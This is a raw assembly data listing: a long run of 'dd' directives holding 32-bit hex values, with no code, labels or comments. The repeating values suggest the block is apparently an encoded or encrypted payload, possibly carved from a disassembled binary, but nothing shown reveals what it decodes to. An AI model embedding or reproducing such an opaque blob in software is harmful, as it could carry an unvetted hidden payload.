		dd 9AE98632h, 89F4C8C0h, 0AE556B12h, 905DCE15h,	13CE4D9Fh
		dd 153EA03Dh, 18F1132h,	97668832h, 0C80EDD47h, 0DCB69FDDh
		dd 4A32321Dh, 0BD564C00h, 2ED29627h, 0BD610FB7h, 26E51E34h
		dd 0ED668832h, 1A8E2453h, 29662232h, 33B13E8Fh,	0CC6719E3h
		dd 0B8ED6A47h, 128FDBDCh, 12661132h, 1FDEC150h,	1A3CF284h
		dd 156621B6h, 0CDD91E32h, 15624A53h, 0E007B8CBh, 124226F5h
		dd 427AEA63h, 6A51D98Dh, 311A4518h, 39E77D36h, 6FEE4916h
		dd 0AF347475h, 3DBB4E12h, 1D4276BBh, 310A9068h,	76595936h
		dd 3122C579h, 93539336h, 14E21E10h, 0E0668832h,	7E8EFF61h
		dd 0CDEF4734h, 318A3C69h, 0EC53DE80h, 0ED681074h, 5AC9AFBFh
		dd 9E06179Ah, 0EA0771E5h, 0EC06BCD3h, 15669961h, 0FEE71132h
		dd 4767CCA9h, 0D6E7B733h, 476766A9h, 1A3D12B8h,	156686B5h
		dd 156FAD32h, 682A2232h, 0F19AA0B4h, 751BD26Ch,	0FDB7CF54h
		dd 15662237h, 24D47DEDh, 4A3FDB35h, 1A8F7853h, 15676FB6h
		dd 0AF007132h, 29074870h
		dd 7FE24BDAh, 0FC662233h, 15661138h, 0E314E821h, 8DBAFD67h
		dd 1A5A0A29h, 1501953Dh, 198F8832h, 0D8664432h,	0E432F4Ch
		dd 0F66E2DD5h, 0FC3916B8h, 15664437h, 673ADFDAh, 1AAB2D88h
		dd 156734B6h, 14E24B32h, 0E0662232h, 9169FA0Eh,	156689D1h
		dd 156654DBh, 0E12BAE32h, 84D7C4E5h, 3C1C7E53h,	0D0D8F8CEh
		dd 18F427Eh, 0C8661132h, 479D018Eh, 0EC57684Eh,	0A2E7877Bh
		dd 0BAA96295h, 74EFA534h, 0E9A5BC53h, 14DC70CEh, 94661132h
		dd 0FE4F56D8h, 9494456Ah, 0FE4FFCF0h, 4F7C9B6Ah, 7FD6D8CEh
		dd 0D3428316h, 0F5B6EACCh, 3152BF1Eh, 0FC3E4B12h, 1566443Dh
		dd 4F134F59h, 0F207CD0h, 0B3DA4C0Ch, 1A054A5Ch,	156625BEh
		dd 90DC7132h, 74440B87h, 1AE6BFB2h, 0EA9985B7h,	1FEE1ECDh
		dd 75668832h, 0DDE7C384h, 73221E18h, 0E2EF4653h, 314A0965h
		dd 17B718D8h, 0FFA5A369h, 4A64C06Eh, 118A09CAh,	9C664432h
		dd 13DF063Eh, 14661132h, 9769D1F9h, 15664425h, 156630DBh
		dd 82C5FB32h, 71292867h, 0B6177AA3h, 79175D6h, 44AA5E2Ah
		dd 15668A8Bh, 45974532h, 1566228Ah, 16AE1032h, 0E03FD02Ah
		dd 1566DFDBh, 7D37DB32h, 15661133h, 9E97896Bh, 969E1D2Bh
		dd 9169D9C9h, 156611C5h, 0D5713652h, 1C8F3B4Dh,	34662232h
		dd 13573208h, 40F210FDh, 118AC753h, 944216BBh, 1EA13506h
		dd 943DB9A9h, 8E6D83C1h, 9B69D703h, 1566112Ch, 15746052h
		dd 6FA14432h, 0FD6B3152h, 73B85F2h, 592ABDC4h, 0ACB49CE7h
		dd 61DC446Dh, 570E70E4h, 9C668854h, 14DE6036h, 14662232h
		dd 4D7E12C2h, 10DCDAC7h, 14664432h, 3172A9E1h, 1562D5B3h
		dd 9B698832h, 1566443Eh, 1560AE3Dh, 90691132h, 15668832h
		dd 0EA98DFDBh, 7E92DCDh, 1A661132h, 156684B0h, 1561AD32h
		dd 18002232h, 7FC1692Fh, 4BD08714h, 7306B833h, 1A764A88h
		dd 156617B2h, 15E58732h, 74664432h, 1A48C9B1h, 0EA9872B6h
		dd 258F71CDh, 0FC664432h, 15662238h, 0FBE57FA7h, 1E465BC5h
		dd 959AE74Ch, 1A98234Ch, 0EA9852B7h, 94067DCDh,	683ED1FCh
		dd 156ECB49h, 68231132h, 0BB3928B7h, 0FC079FCEh, 0EA99DEC8h
		dd 156617DBh, 0D142A432h, 0FCAF0F00h, 15662223h, 0C87E21E6h
		dd 44E49BEDh, 0E32B6279h, 0C3E494CCh, 0F0EF44D8h, 15624DB3h
		dd 0F8E54432h, 314AA536h, 3152986Eh, 156684DBh,	80125832h
		dd 126D45A5h, 0D3BE8877h, 118A0B7Ch, 1A4248BBh,	15662FBAh
		dd 156EF832h, 0FF248832h, 0A0AE7030h, 9C31C782h, 11A190D5h
		dd 96668832h, 29E140DDh, 9EF7E16h, 156EF816h, 0BA4D8832h
		dd 320734D0h, 9F0EBE6Eh, 9C66113Dh, 0FD06AC0Eh,	1566443Ch
		dd 0F250A859h, 6EB5F1E3h, 5503E9CCh, 9F69D72Bh,	15662232h
		dd 0D557706Ah, 156680DBh, 0D6B26932h, 14054197h, 68FBD89h
		dd 0F4668832h, 0C7F2DB45h, 17D6DE4Fh, 0B80E5800h, 0F0EC502Fh
		dd 94067F9Eh, 0B7F99EDAh, 0EDD87763h, 9D37E9E1h, 0FFEE16F7h
		dd 4C3CF1BAh, 156600DBh, 51451732h, 0ED503163h,	43ED3BFAh
		dd 34DCD40h, 0A1367159h, 0E3A2BAC2h, 17D571E6h,	953DCD12h
		dd 0F6469ADEh, 7EC4B6Ah, 0FC662232h, 1566113Fh,	0D5239414h
		dd 56E39A39h, 31910B85h, 0FFE671D3h, 15766104h,	448C4432h
		dd 9F944D51h, 60FE7785h, 0F55EC995h, 9507C5C2h,	916952C9h
		dd 1566172Dh, 15669CDBh, 84CE8832h, 0D99D1108h,	3B186D56h
		dd 0F4B34F8Ch, 37C324EEh, 1A691EBAh, 1566CAB6h,	9E06E832h
		dd 74ADCFEBh, 1A8F1E53h, 156D77B6h, 156B6132h, 56F34432h
		dd 0E4C19B5h, 1DAF32A0h, 29BE4774h, 56E24BD9h, 7566223Dh
		dd 0C3BFC18Bh, 74B50362h, 9169A70Eh, 156621E7h,	156603DBh
		dd 0E51BF632h, 9DC03AF6h, 3EAC937Eh, 773ECFA6h,	292F9596h
		dd 93E24BD0h, 1A662222h, 15661DBDh, 13EE8732h, 1A664432h
		dd 156622BCh, 3152EE32h, 11A20B6Dh, 3ADD2252h, 67A4A3DFh
		dd 741A38BDh, 4E42BCCDh, 0FC6280B1h, 15662238h,	75C2D6A5h
		dd 0A67576AFh, 21991782h, 0D1E77B16h, 15661136h, 315203C7h
		dd 9487CD63h, 156626F3h, 11A79032h, 92668832h, 753A603Eh
		dd 0FCA543CBh, 1566113Bh, 0DBBE992Ah, 7395BEC1h, 1568CB7Eh
		dd 11FF1132h, 0F797657Eh, 621A6FE0h, 0FB2E3262h, 94F294F5h
		dd 15608E9Dh, 96934432h, 11EF26DEh, 1566A916h, 0E5678832h
		dd 1A3E5CB8h, 156623BAh, 9369E932h, 1566882Bh, 156650DBh
		dd 0D51C0532h, 18B39AC4h, 5E3190B8h, 77AD02CEh,	429D8E97h
		dd 440041E6h, 0F9EE1D87h, 0D9981D54h, 0D998FEC4h, 9561F5F2h
		dd 0E1E6A3DEh, 4D856497h, 156CA03Dh, 108F1132h,	29668832h
		dd 0F8A18261h, 1AE6D9B2h, 0EA990DB7h, 9669E8CDh, 15664431h
		dd 429CA954h, 0E866AF54h, 0A833E96Dh, 15664433h, 0ED3BCC1Bh
		dd 157F9C3Dh, 0FD068832h, 15664439h, 9AA3103h, 23C7C719h
		dd 4E9C0F7Eh, 1566C93Dh, 9E072232h, 0BD6E2CB7h,	0AC93E834h
		dd 380467A0h, 40F3A953h, 7560B919h, 0FD953F3Dh,	1566443Ch
		dd 0F8E5E1F8h, 7EFA1A5Ch, 0A7F7C4Dh, 940070BBh,	4AE56ED8h
		dd 9C314153h, 4A9E01C5h, 0E03E87BBh, 15609A62h,	0D6671132h
		dd 96428CB9h, 976940F6h, 1566223Ah, 0CBED7752h,	749D0354h
		dd 1564FE60h, 0E7672232h, 1566A863h, 0C4678832h, 4F3F5D31h
		dd 1560A73Dh, 75061132h, 74AA0253h, 97699C09h, 15662228h
		dd 90DE7752h, 16CA314Ah, 2E07512Eh, 5BE02DE8h, 1A99EECCh
		dd 156689BDh, 0AA31B132h, 10A956ACh, 3C39EA33h,	8B8D09C9h
		dd 1A638B46h, 156636B8h, 1569F832h, 909D8832h, 9663CD6Ch
		dd 676984BDh, 434F5589h, 13D9DF42h, 94664432h, 73156CD9h
		dd 949D3827h, 7315C6F1h, 93691B27h, 15662225h, 156603DBh
		dd 0A4F47932h, 0E3B84E62h, 2D95D67Bh, 779048E0h, 75FDE710h
		dd 156650DBh, 971B1232h, 0C4DCF0B9h, 0D12A456Fh, 370957A8h
		dd 776B9F48h, 14ED1E75h, 0EC668832h, 75CB2253h,	156624DAh
		dd 8341DA32h, 73540CAFh, 4B05758Dh, 9C7DCBB3h, 7307344Ah
		dd 15686199h, 0C0534432h, 6BEBB425h, 0B6DA7EFFh, 3FCC7333h
		dd 0D6579C03h, 108FFA03h, 0DB661132h, 2C7584E9h, 108F2499h
		dd 2F662232h, 248804FEh, 1566063Dh, 47074432h, 15662688h
		dd 9EB01032h, 0D1E7AC26h, 15664436h, 156628DBh,	44EE6032h
		dd 8CB7B6C3h, 9C62C6FEh, 1A8F060Eh, 64661132h, 767566F5h
		dd 83B00203h, 5905A24Ch, 61EF95B0h, 1F8F8416h, 0A9664432h
		dd 36F34AB3h, 14326C08h, 0E0D301B4h, 7560EC34h,	0F9479A54h
		dd 156614DBh, 94A69332h, 9E0762B6h, 9C34060Eh, 11A490D0h
		dd 96668832h, 1E140F0h,	0FC067E16h, 1566113Dh, 6868A882h
		dd 0DBC5D7F2h, 506417B6h, 476B5AE4h, 156681DBh,	0BD140E32h
		dd 8F104DF5h, 743F7C8Fh, 4E42BCCDh, 156280B3h, 0E9062232h
		dd 1577F852h, 2D228832h, 3599A4BFh, 0A3776CB5h,	623067B1h
		dd 73163848h, 74B4BA88h, 2199DA53h, 0D1E54816h,	15636136h
		dd 34874432h, 9EB4EB4Fh, 9C313506h, 11A109D5h, 96664432h
		dd 29E126F5h, 42064D16h, 0A0183654h, 0A269126Dh, 40077CC0h
		dd 0D0E7F4BBh, 15668836h, 926281B1h, 31ED061Eh,	156FF816h
		dd 6C628832h, 8264DBC7h, 0FC2ADB08h, 0EA99CE25h, 81E34FCAh
		dd 1760EBB3h, 0FC662232h, 15661134h, 943B3578h,	1E8FD10Dh
		dd 0D4662232h, 7EEECAF8h, 0EDDD9E49h, 9C334725h, 21E777C7h
		dd 0CE345416h, 0E6E7D323h
		dd 4BD1677h, 1AE22D6Fh,	0FC661132h, 15668838h, 1E630538h
		dd 0DDE3375Fh, 0A369562Eh, 156A613Ch, 0EDA4432h, 0C5A7DE0Eh
		dd 9A66B21Fh, 0ECE634EFh, 4CE54BB2h, 1A662232h,	156619B0h
		dd 17EB8732h, 75664432h, 9E8DA353h, 944FA946h, 4162FBF1h
		dd 94AD453Eh, 416251D9h, 9EA5903Eh, 1A4F3046h, 156649B7h
		dd 0CFD84232h, 94136AA5h, 0E5BEACDAh, 0A833251Eh, 0EA99DDCDh
		dd 0EC3BFA1Bh, 156617DBh, 94002432h, 1AD795DCh,	156613BBh
		dd 74A40332h, 0E383F761h, 0F095A2E1h, 3DE3D0B2h, 908F08EBh
		dd 1EE84B69h, 75662232h, 2A85DFB3h, 0F1E6C9DCh,	473625B4h
		dd 671E588h, 0E22C5B14h, 0D3A409E0h, 9C405725h,	0DD4F78E2h
		dd 439E49A3h, 550E568Ch, 1080856Eh, 2DCEC4B3h, 94203213h
		dd 414702C4h, 1988C530h, 3464770Ah, 95064FC3h, 0D5E65AD0h
		dd 730625CAh, 73B2B78Ch, 9407DAB9h, 737D4DF1h, 0B08DC52Eh
		dd 3C135E7Dh, 0B0A590F9h, 9413F47Dh, 737D81D9h,	1560CB2Eh
		dd 69441132h, 0FC7A62AEh, 1D5BC1B9h, 48F249Ah, 0D4661132h
		dd 0DEEA6112h, 1C6609D2h, 5B65D707h, 0C261EC47h, 3E331DB9h
		dd 0FC06429Ah, 1566223Ch, 97C89CF4h, 48DDB92Ch,	0C8D1C3CDh
		dd 9400D1E6h, 74B181E0h, 0D3D98752h, 1560CA3Dh,	93692232h
		dd 15661132h, 84DB0B53h, 1460EC1Ah, 117FA63Dh, 0A5061132h
		dd 0D4E7EE6Ah, 2C074650h, 1DE42DF1h, 75661136h,	2C077880h
		dd 87E44BE1h, 0FC99DDC8h, 1566113Dh, 56348882h,	249FCD28h
		dd 0FBE47C2Eh, 0FC4F5652h, 15668BD1h, 156642DBh, 35E4B232h
		dd 0D2210F12h, 0BAE71CB7h, 15664634h, 1568CB32h, 499A1132h
		dd 3E513471h, 5CB3FBD1h, 1E61831Bh, 156F9C3Dh, 0A2068832h
		dd 0C5E72294h, 44078CE4h, 9C949860h, 0DEEFD2E3h, 0A369BD6Bh
		dd 1577CB3Ch, 35291132h, 0F72C1C45h, 0AA72084Fh, 0CE54166Eh
		dd 95B7A562h, 966908CBh, 15664451h, 12EB2DCBh, 75661132h
		dd 45B50354h, 0FEE7256Ah, 5E07FD8h, 0AA31DA33h,	5E0D5D8h
		dd 0E039BF33h, 3162DD61h, 96420DB9h, 95698CF6h,	1566442Ah
		dd 0F9B99C52h, 1E8E123Fh, 0B4668832h, 5E0EE3A4h, 0ABB3A09Dh
		dd 743F718Eh, 15663ADBh, 97692432h, 15662230h, 9C697052h
		dd 15668834h, 1566C43Dh, 46072232h, 0EC4EEE85h,	964294B9h
		dd 996940F6h, 15662222h, 156C943Dh, 108F8832h, 0C0664432h
		dd 55D8B3D6h, 1566AE65h, 0DA4F8832h, 0DA57BD03h, 0FC39DB03h
		dd 15661123h, 0E1D5FF67h, 4D9FB1Fh, 2184A9E7h, 3CA8FF5Ah
		dd 20DED8FAh, 0E2283D4Bh, 53150FE2h, 0E2F7359Ah, 265319E3h
		dd 2053FC55h, 53FFFA56h, 0FC3ED013h, 15668823h,	93043606h
		dd 0ADB0025Ah, 774D6923h, 88207E77h, 48A5C5C6h,	3C2DD574h
		dd 48DB44F9h, 3C2D7F74h, 9E0619D9h, 0EED12DFCh,	94007153h
		dd 1A4827D8h, 9E07B685h, 0BD6E1FB7h, 12E11E34h,	1A668832h
		dd 156645BDh, 80EDD732h, 13CE3A67h, 84DB0BCBh, 1460EC1Ah
		dd 173FA63Dh, 0EC061132h, 5D7F59B3h, 2E073CCDh,	35E42DEAh
		dd 0ED661132h, 0AADEEE52h, 9E001490h, 2C077CE3h, 0DFE01EE1h
		dd 1A9977CAh, 156642B2h, 0DEEC4232h, 42079A83h,	0EC54028Dh
		dd 52B9B331h, 6987D5B3h, 0E2E76910h, 6EBDC65Bh,	0FC39BA33h
		dd 15662235h, 0EB95E35Ch, 0ED74219Bh, 0C5907C82h, 0C5904316h
		dd 0F5A6F906h, 0A037EE37h, 738E6C83h, 0FCCCDE6Bh, 15661137h
		dd 6AFB1B48h, 15DE1404h, 14662232h, 15DD42C2h, 14668832h
		dd 4E6DCEF1h, 0AC00426Ah, 4607D9C9h, 9D370881h,	4CAECCEBh
		dd 1569CB69h, 12FF1132h, 0C87C2741h, 79EC5DEBh,	5745BF9Dh
		dd 156DF868h, 16628832h, 0BDB57BFDh, 0D64B52CCh, 7BD043BEh
		dd 0F3B65EC4h, 0E3E68ACCh, 9E97021Ch, 0D1E53526h, 3E58736h
		dd 0FC664432h, 15662223h, 0BC4CA01Eh, 8C38DD6Fh, 60B307B1h
		dd 0AF6A76E0h, 0FCAE19ECh, 15668834h, 3BFAA486h, 0FCCCBD7Eh
		dd 1566113Ah, 0E4DAEDE7h, 0C0032091h, 156632DBh, 9A84CD32h
		dd 7952CE9Dh, 59662E83h, 1BE56C1Bh, 0D9A5902Ch,	3C73F40Eh
		dd 0D9DE14C9h, 3C735E0Eh, 926949F1h, 15668833h,	11DE14CBh
		dd 94662232h, 215C25F1h, 94A5A11Eh, 215C70D9h, 97697A1Eh
		dd 15661133h, 24BEB9C7h, 0FCBE75F1h, 15662237h,	6D90AE9Ch
		dd 759A23E4h, 0EDACCF54h, 118AA153h, 0AD4215BBh, 15668830h
		dd 753E8233h, 746297CEh, 1393A4BBh, 1D8F8E9Ah, 0AB664432h
		dd 0B0BC8360h, 0D2F20AE6h, 0BD4E19B7h, 15664534h, 4131DE32h
		dd 11A1906Dh, 96668832h, 29E140F5h, 0E99A7E16h,	4E4225CDh
		dd 75624CB1h, 74B4F33Dh, 4C4216CDh, 1562D5B3h, 138F8832h
		dd 9C664432h, 2D208984h, 9C34ED1Dh, 0B0D8DED0h,	5339B451h
		dd 0C391FCC5h, 0FBE7CFC5h, 0B5691465h, 9638B633h, 1E126F0h
		dd 9D694D16h, 15668834h, 42A1CE52h, 9E69436Dh, 15661135h
		dd 0AC007152h, 44079546h, 0D4E7C3BBh, 15661136h, 15623361h
		dd 0CC674432h, 316AA569h, 156CF86Eh, 0AF458832h, 7637AE99h
		dd 0A2ECD05Dh, 10EF1E52h, 0AA668832h, 1221CD0h,	156627DAh
		dd 56C7DC32h, 1D8F1A01h, 0AC664432h, 8282C190h,	4AED26AEh
		dd 0CC376153h, 7D9FBBCDh, 15667AC5h, 0EA4225BBh, 1A38AC3Eh
		dd 156664B0h, 78E4232h,	99661132h, 1D9E7E0Dh, 3E4E6C1Dh
		dd 38CB9A00h, 3BC8B06Ch, 9969D21Ch, 15664432h, 8DD57153h
		dd 95DBFAB2h, 0DE9899F1h, 9D9887B2h, 9C6979EAh,	15661135h
		dd 1567033Dh, 0BF9E4432h, 0AA3174CAh, 75B735C8h, 1142F41Bh
		dd 0EF631C6Dh, 0FC06F316h, 15661123h, 867C65E5h, 552F9E0Fh
		dd 413D6F2Fh, 0A41EF665h, 8063740Ch, 38032909h,	740F10DEh
		dd 0F963E91Bh, 3807E100h, 700B7FA7h, 260C4ACBh,	1EF1132h
		dd 15623216h, 0C54F4432h, 9969D768h, 1566112Ah,	15669BDBh
		dd 15B67A32h, 0FF7A5F80h, 0E6CF09AEh, 0A981136Dh, 0C2EE83C9h
		dd 1574CB99h, 0D101132h, 0FD83C641h, 7FC7065Ah,	0F6DF6022h
		dd 9FE30EF7h, 15668FDBh, 1C81DA32h, 1F841BA0h, 94819865h
		dd 15668CF5h, 11A1C732h, 3112DD65h, 11E94E36h, 9506D416h
		dd 0C6ECCBE2h, 3152DD53h, 11A29069h, 1A668832h,	15664ABBh
		dd 9E694232h, 15661132h, 7D3A68B3h, 9E073954h, 9C34063Eh
		dd 11A490D0h, 96668832h, 1E140F0h, 94067E16h, 4429FFE5h
		dd 0D7E7EE12h, 0EA07D228h, 94380606h, 156615F6h, 4E28732h
		dd 1A664432h, 156629BAh, 1560F832h, 49E68832h, 0BEC69515h
		dd 4584AB60h, 1566158Ah, 4DA48932h, 926286B1h, 1A3A0626h
		dd 156610BDh, 178F7D32h, 7599BBE9h, 0B943F18Dh,	18F7057h
		dd 33668832h, 0EDCDA4CBh, 0EDBBD1D5h, 8A30BFEBh, 0C67F888Fh
		dd 0D252BCF0h, 0BAE7B6B7h, 15661434h, 15636132h, 0FC0C4432h
		dd 443BA604h, 0DEEFE0BBh, 944284B9h, 156640F6h,	0AC37D732h
		dd 15661136h, 50814BB3h, 0DE6714D8h, 5081C9B3h,	0FC3F41D8h
		dd 15668839h, 0D9679E37h, 69E363B8h, 477F783Bh,	15668888h
		dd 9EA4C532h, 14037931h, 9E8C90C0h, 1603D331h, 0AA061E28h
		dd 40F5B5F1h, 7427E2B2h, 1D5B0DB9h, 58F429Ah, 71662232h
		dd 4FC3595Fh, 7CC99040h, 0D43FD345h, 9E08BCB9h,	0BD4D44A7h
		dd 14ED8734h, 0ED664432h, 0EA999B63h, 0DB67EECDh, 48EE86Bh
		dd 45664432h, 40B63B5Dh, 0B3224381h, 57D487D4h,	9B2761A1h
		dd 2A7DA88Ch, 74934B4Fh, 32FF35B1h, 1A67429Ah, 156019B6h
		dd 0CD5DE832h, 15460A3Dh
		dd 93694432h, 15662233h, 1ABC2ACBh, 1567E1B4h, 156AAD32h
		dd 0CD842232h, 4695EC3Bh, 0A088D97Dh, 0A0EFFDB4h, 13CE24C7h
		dd 15619C3Dh, 96698832h, 15664433h, 1576CBC7h, 5E21132h
		dd 0FA30B6AEh, 85D340Eh, 0D52173B4h, 88EDB5CFh,	13C909A6h
		dd 157FC13Dh, 18F2232h,	7E661132h, 7F3E5EB2h, 26A07343h
		dd 0E9706075h, 1B88B951h, 947EF8D1h, 976A605Eh,	9438090Dh
		dd 726A3576h, 1452F108h, 946A606Eh, 726A065Eh, 94526808h
		dd 976AAC76h, 0EC386F0Dh, 1563B9DBh, 1EEF1E32h,	0FC668832h
		dd 15664434h, 16614B6Dh, 9E063C92h, 0A269E8E8h,	9EDD22E8h
		dd 9E0743C5h, 9C35350Eh, 11A509D1h, 94664432h, 156626F1h
		dd 317A9632h, 90A1716Eh, 13CE63ABh, 15662233h, 1569913Dh
		dd 1F8F8832h, 13664432h, 1A9DE6E9h, 0B47A3343h,	3152774Eh
		dd 11A2C569h, 75662232h, 1565943Dh, 0C5E68832h,	11ED4B33h
		dd 73662232h, 7440268Bh, 454284B9h, 1163A4BBh, 96662232h
		dd 11E115F2h, 9E9ED416h, 9C376006h, 11A7A3D3h, 94661132h
		dd 15668CF3h, 316AC332h, 1FEB2D6Eh, 0FC661132h,	15668837h
		dd 77B9E22Dh, 118AA3C3h, 9C661132h, 0F7EFAC26h,	156286B3h
		dd 0D7E52232h, 31729636h, 9E00E86Eh, 0FC07BDF0h, 0EA99F749h
		dd 15661CDBh, 9C08232h,	5696F6F7h, 1D7D9A42h, 0A8E5542Ah
		dd 13CEA0A3h, 0B8E24B33h, 0ED662236h, 1D5B8C19h, 90698E9Ah
		dd 15664435h, 1567AE3Dh, 9E9A1132h, 0BD7C19BFh,	0D7ED2434h
		dd 20A7A353h, 941BAB10h, 0D15A24DBh, 94BF4541h,	0D15A8EF3h
		dd 208F9041h, 751B3210h, 1563CC3Dh, 94002232h, 0FCBCD0DDh
		dd 1566883Dh, 0F0D5D2E7h, 0CBEEFA49h, 9A8AF1D6h, 749A023Bh
		dd 1567C53Dh, 429E2232h, 306F7E8Dh, 5AB17F40h, 0E2E79BC5h
		dd 16A5195Dh, 3C39E833h, 0B8F09CBh, 0ED17A200h,	9C62CEB1h
		dd 10D83506h, 3C668832h, 18F1AC3h, 0AA662232h, 27C218B3h
		dd 72280D59h, 96E01B7Ah, 4C899B34h, 462D739Bh, 0D5893963h
		dd 0D4E643DBh, 38FA2CCh, 9D3FDABAh, 1D8FD3EAh, 0ED664432h
		dd 0DA3A00Dh, 0BF875D6Ah, 24AEB9C7h, 1AAE75F3h,	156625B2h
		dd 0C8DF7132h, 7476D7EAh, 9C37B199h, 0D0DC70D3h, 941CF72Dh
		dd 0F37949D8h, 4FB74548h, 9262E3B1h, 0FC3A353Eh, 1566883Dh
		dd 0F34F3072h, 0FDAFE12Ah, 23F3DCCEh, 9EDCF5EAh, 9C35602Eh
		dd 11A5A3D1h, 96661132h, 9E18CF1h, 92691816h, 15662223h
		dd 15661DDBh, 558AAB32h, 0D071EE94h, 0EAB78E69h, 3152EED9h
		dd 11A2096Bh, 0E9664432h, 424216B9h, 0D2E7F6BBh, 15668836h
		dd 156283B3h, 29E12232h, 97694D16h, 1566883Dh, 15664EDBh
		dd 44C12732h, 5798FBC4h, 4099F5D5h, 0D0E7A1BBh,	15662236h
		dd 9262D4B1h, 31EDAC1Eh, 1AE54B16h, 75662232h, 0FCB6A63Dh
		dd 15668837h, 0E087C8EDh, 0EF8F4325h, 0FC99EEE4h, 15668838h
		dd 1A5E620Eh, 0AA2347E6h, 90A1FF75h, 13C909A6h,	15664430h
		dd 15662FDBh, 0AB1D8232h, 0B16563B8h, 0F8D92F6Eh, 9C311800h
		dd 9E9D98C5h, 0D1E5AC0Eh, 1EE94B36h, 75662232h,	1A9C9A54h
		dd 156688B1h, 0A3692532h, 1572CB3Ch, 93CC1132h,	4ACCF6D2h
		dd 5465B2FAh, 39FB6CEh,	0FBA9BDEBh, 0ECE68D79h,	5CE54BB2h
		dd 0FC662232h, 15661139h, 70589511h, 70C8A225h,	94AE3675h
		dd 0C44CA9F1h, 43AD897Bh, 0C44CFC8Ch, 4B950B7Bh, 15661DDBh
		dd 0CB0C0732h, 2ADC0B64h, 0DE1B7966h, 0EAD94601h, 3C9977CDh
		dd 1A931BC9h, 156623B3h, 828FE832h, 0E0668832h,	9599F260h
		dd 0E44E18DBh, 4F5CD0B2h, 15668EDBh, 0C5FA6632h, 4660384Ch
		dd 15661189h, 5DA50932h, 3C15DC3Eh, 5D8DA3F9h, 9C15893Eh
		dd 1F8FD3EBh, 1D664432h, 0DB8D6500h, 978B6EEh, 118A09EFh
		dd 9C664432h, 0EAD80606h, 34661132h, 1A8FD6C3h,	10664432h
		dd 7C1833F4h, 96C1D602h, 6956B0C3h, 0AD360638h,	1BC05CEFh
		dd 9D3D7D17h, 128E490Dh, 24FE717Ah, 0C5911229h,	62B18107h
		dd 4DA5A19Dh, 0D6E78F1Bh, 75E83B76h, 1567953Dh,	1A9A8832h
		dd 156645B6h, 90EDDE32h, 13CE190Fh, 16EB8752h, 73664432h
		dd 9E07FDB9h, 0BD4D44A7h, 15696134h, 0C9C14432h, 0E66C2DFCh
		dd 0D34F05C4h, 52DC4FFFh, 0EE48AD91h, 9669DDCDh, 15661133h
		dd 81E34FCBh, 1760EBB3h, 75662232h, 1560993Dh, 9B698832h
		dd 15664432h, 75A49552h, 43077053h, 944294B9h, 156640F6h
		dd 0AE9F4232h, 3FD5C558h, 1BD08753h, 959FC4CEh,	153EA13Dh
		dd 1A8F1132h, 8D668832h, 0F742661Bh, 19D42BF5h,	0C45692EAh
		dd 0AC379C49h, 417969AAh, 946ECBF3h, 7632AAC3h,	4CADA15Ch
		dd 0D6E78F33h, 7B5169A4h, 15661EDBh, 0D17CAC32h, 0D4B04FEAh
		dd 0DB381258h, 0CA7F25EBh, 15673163h, 0DE674432h, 14ED2D6Bh
		dd 0E9661132h, 156609DBh, 0A536B832h, 9EA70ACDh, 0D1E53536h
		dd 14EB8736h, 0ED664432h, 3F8DA252h, 1567953Dh,	749A8832h
		dd 0C091ADB5h, 0ED27CBB5h, 9C62FDB1h, 9FD8AC06h, 942D2400h
		dd 9648EAFCh, 20909004h, 34196B0Ch, 73061AC3h, 9E68FDB3h
		dd 1564963Dh, 4B378832h, 0DFA5C553h, 3C54AD43h,	4DE41F9h
		dd 5D792461h, 0B74FD63Fh, 2EA52F6Dh, 0CD910EF9h, 704A57Ah
		dd 0D64F29B3h, 12E92D6Ah, 75661132h, 46953F3Dh,	90ED256Dh
		dd 13CE2A0Fh, 40F39ACEh, 0FC602019h, 1566443Eh,	0D4E4016Fh
		dd 7704A72Ch, 7F7DAAA4h, 1563AD52h, 736A2232h, 9462E025h
		dd 6CB27DD8h, 0A8E52512h, 13CE0AA3h, 0B1E21E33h, 759977C5h
		dd 0C5AFFA54h, 1565AA3Dh, 0A2691132h, 0CD5DE9CAh, 157EC63Dh
		dd 2C9E2232h, 0FE01EE1h, 1A9977DCh, 15664DBCh, 2D24232h
		dd 3B549189h, 0A833E957h, 15664433h, 1A3BCC1Bh,	156616B7h
		dd 0A269E832h, 740724F8h, 3162A364h, 7D400C7Dh,	964284B9h
		dd 0FCE740F6h, 7D403F7Dh, 1567923Dh, 0E99F8832h, 26ECADB3h
		dd 0D4E7381Ah, 6B470A65h, 0FCE7711Bh, 6B475F65h, 26ECE3B3h
		dd 0FC060B1Ah, 1566883Bh, 10D17BE1h, 1CF8CED3h,	612BAF39h
		dd 0ED07A3BBh, 1563FE60h, 0C44F2232h, 944205B9h, 15668CF6h
		dd 0A334BC32h, 2521929Ch, 31729AC2h, 0EC624CB1h, 12EF4B98h
		dd 75662232h, 6D899054h, 7D36E9F2h, 15663687h, 4D422EBBh
		dd 0FCCDED6Bh, 15668822h, 0D5073733h, 0DF4CCAA5h, 896EDE44h
		dd 0C1B2A884h, 0EAB504DBh, 1DE52DCDh, 75661132h, 15660D3Dh
		dd 47074432h, 15662288h, 9F941032h, 31720330h, 156280B3h
		dd 0FC062232h, 1566113Fh, 28AACA27h, 0B88FCDFh,	7C69A1B7h
		dd 9E0046A5h, 2907D2F3h, 7EE24BDAh, 75662232h, 15661DDAh
		dd 3E27932h, 5A18BB8Ch,	0DA8D74E0h, 4D9F9A85h, 156698DAh
		dd 0EC33F232h, 3E533DC7h, 0DDFF04DBh, 1EC41952h, 8B86C5C2h
		dd 4B241984h, 0E1DB4453h, 94740D64h, 9030B0DFh,	9E8EAB20h
		dd 0D1E5351Eh, 14ED8736h, 0EC664432h, 156EA93Dh, 9C691132h
		dd 15668830h, 0AD8F2552h, 75662233h, 0FF6B388Dh, 0DDD9EE67h
		dd 110E25F6h, 9C662251h, 449A352Eh, 0DEEF79BBh,	944248B9h
		dd 156626F6h, 19EA1E32h, 1A668832h, 156642B4h, 15EE2D32h
		dd 44661132h, 1566898Bh, 16974532h, 316AA92Bh, 1562D5B3h
		dd 93698832h, 1566442Ah, 156631DBh, 37512C32h, 5850B840h
		dd 9E679734h, 8BA5D56Ch, 9AA567A4h, 15633260h, 0FEE74432h
		dd 2BA60D31h, 0D6E7C233h, 2BA6A731h, 0CBE72468h, 0A37A7BCh
		dd 156614DBh, 0FE09BA32h
		dd 73078A44h, 9D8E9460h, 1ED77C2h, 17A20916h, 0FC664432h
		dd 15662235h, 0B4024E04h, 0BFA5F886h, 156ACA3Dh, 97692232h
		dd 15661134h, 15660F3Dh, 0D6E74432h, 24A0A1Ch, 5FB4FAB3h
